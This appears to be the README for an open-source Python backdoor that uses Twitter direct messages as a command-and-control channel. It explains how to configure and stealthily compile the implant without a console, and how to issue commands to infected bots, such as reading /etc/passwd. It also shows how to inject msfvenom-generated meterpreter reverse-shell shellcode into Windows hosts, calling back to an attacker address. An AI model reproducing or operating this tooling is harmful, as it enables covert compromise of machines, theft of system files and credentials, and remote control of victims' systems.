A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server This project has been inspired by Gcat which does the same but using a Gmail account.
For this to work you need:
- A Twitter account (Use a dedicated account! Do not use your personal one!)
- Register an app on Twitter with Read, write, and direct messages Access levels.
Install the dependencies:
$ pip install -r requirements.txt
This repo contains two files:
twittor.py which is the client
implant.py the actual backdoor to deploy
In both files, edit the access token part and add the ones that you previously generated:
CONSUMER_TOKEN = ‘XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’
CONSUMER_SECRET = ‘XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’
ACCESS_TOKEN = ‘XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’
ACCESS_TOKEN_SECRET = ‘XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’
USERNAME = ‘XXXXXXXXXXXXXXXXXXXXXXXX’
You’re probably going to want to compile implant.py into an executable using Pyinstaller In order to remove the console when compiling with Pyinstaller, the flags –noconsole –onefile will help. Just saying.
In order to run the client, launch the script.
$ python twittor.py
You’ll then get into an ‘interactive’ shell which offers few commands that are:
refresh – refresh C&C control
list_bots – list active bots
list_commands – list executed commands
!retrieve <jobid> – retrieve jobid command
!cmd <MAC ADDRESS> command – execute the command on the bot
!shellcode <MAC ADDRESS> shellcode – load and execute shellcode in memory (Windows only)
help – print this usage
exit – exit the client
Once you’ve deployed the backdoor on a couple of systems, you can check available clients using the list command:
The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box.
Let’s issue a command to an implant:
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command “cat /etc/passwd” with jobid: UMW07r2
Here we are telling B7:76:1F:0B:50:B7 to execute cat /etc/passwd, the script then outputs the jobid that we can use to retrieve the output of that command
$ !retrieve UMW07r2
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
In order to retrieve new bots/command outputs but also force the client to refresh the results, use the refresh command.
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
This will send a PING request and wait 10 seconds for them to answer. Direct messages will then be parsed – Bot list will be refreshed but also the command list, including new command outputs.
Retrieve previous commands
As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the list_commands command
8WNzapM: ‘uname -a ‘ on 2C:4C:84:8C:D3:B1
VBQpojP: ‘cat /etc/passwd’ on 2C:4C:84:8C:D3:B1
9KaVJf6: ‘PING’ on 2C:4C:84:8C:D3:B1
aCu8jG9: ‘ls -al’ on 2C:4C:84:8C:D3:B1
8LRtdvh: ‘PING’ on 2C:4C:84:8C:D3:B1
Running shellcode (Windows hosts)
This option might be handy in order to retrieve a meterpreter session and this article becomes really useful.
Generate your meterpreter shellcode
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
Extract the shellcode and send it to the specified bot using the shellcode command!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (…)
[+] Sent shellcode with jobid: xdr7mtN
There you go!
msf exploit(handler) > exploit
Contributing and/or questions?
Project is entirely open source and released under MIT license. I mostly wanted to create a PoC after Twitter decided to remove the 140 characters limit for the Direct Messages. Few stuff should be added such as Encryption (Adding AES on top of it). “Messages” are using a dictionary data structure and the whole command is only base64 encoded. Fork the project, contribute, submit pull requests, and have fun.